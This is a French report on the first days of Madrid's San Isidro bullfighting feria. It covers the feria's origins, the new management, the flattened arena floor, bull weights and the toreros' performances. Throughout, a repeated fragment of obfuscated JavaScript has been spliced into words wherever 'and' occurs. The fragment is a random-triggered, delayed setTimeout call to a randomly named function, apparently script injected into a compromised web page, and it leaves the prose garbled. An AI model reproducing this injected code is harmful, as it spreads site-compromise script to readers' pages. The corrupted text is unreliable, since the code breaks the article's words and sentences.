DEBUT DE SAN ISIDRO

Les premières salves de la soixante et onzième San Isidro ont été tirées. Une feria inventée en 1947 par un avocat d’une famille originaire des Flandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andres qui avait fondé à Madrid, suivant le désir de sa majesté Philippe V, la Fabrique Royale de Tapis. Cet homme appelé Liinio Stuyck gérait depuis un an la Nueva Empresa de Toros de Madrid S.A.

Cette année c’est le début de l’ère Casas qui a conçu, en tant que « producteur de spectacles » comme il se définit lui-même, une affiche prolixe en toros et toreros qu’il faudra endurer pendant 32 jours consécutifs, une indigestion programmée avec la bénédiction du marketing et un large éventail de toute les nuances de la météo taurine, incluant des après-midi brumeux, le tonnerre des broncas, le tempo des palmas de tango, les sifflets et le vent, souvent invité lors de ce long cycle. Souhaitons que nous accompagne également le soleil des ovations, la neige des concessions d’oreilles et l’arc-en-ciel triomphal des sorties par la Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande Porte, des météores traditionnellement plus rares que les passages venteux, les mauvais airs et les cris crispés, si récurrents tout au long de cette longue feria au nom de Saint Isidore.

Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and j’écris ces lignes la première étape de ce cycle s’est déroulée –trois corridas de toros- avec un interlude de corrida à cheval avant de poursuivre avec des corridas plus notoires. Pour l’instant, deux faits nouveaux à remarquer. Le premier d’ordre technique en supprimant ce coupe-eau en forme de cône qui provoquait le dénivèlement de la piste des arènes de Madrid. C’est beaucoup plus plat maintenant et on a pu apprécier les avantages d’une telle décision, particulièrement lors des bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles, car ce rabaissement a permis de mettre en suerte les toros sur des terrains plus ouverts –au-delà de la seconde ligne de pique- où il était auparavant impossible de bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderiller. Le second –gageons que cela se maintiendra- concerne la baisse du poids des toros, même s’il y a eu quelques armoires autour des six cents kilos, en général les corridas que nous avons vues ont eu le poids idéal pour charger –autre chose c’est qu’ils l’aient fait- pour démontrer que le trapio et la taille n’ont pas forcément à être ensemble.

Concernant le résultat artistique il y a peu à raconter, car la seule oreille coupée jusqu’à maintenant –celle de Morenito de Arandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda à un toro énorme de cinq ans et burraco de El Ventorrillo- illustre davantage le bon feeling entre le public madrilène et le torero de Burgos que ce que s’est réellement passé en piste. Il est vrai qu’en général les toreros ont été au-dessus des toros, car le bilan des trois corridas ayant foulé les arènes est plutôt négatif, même si certains toros ont offert plus de possibilités que les toreros n’ont pas su saisir. Tenace et ferme Román, tout comme le vibrant mais trop pressé Garrido ; des détails de qualité de Urdiales ; une petite faena non conclue par Javier Jiménez, qui semble lever le pied alors que c’est le moment où il faut tout donner ; et, du côté négatif, les trois avis reçus par Davil Mora qui « décida » de remémorer ce qui arriva à Rafael Ortega « Gallito » lors du premier San Isidro de l’histoire ; et surtout la malchance –décidemment le sort semble s’entêter contre lui- de David Galván, qui eut le coude fracturé par un toro de La Quinta, sans doute le plus compliqué de ceux sortis à ce jour

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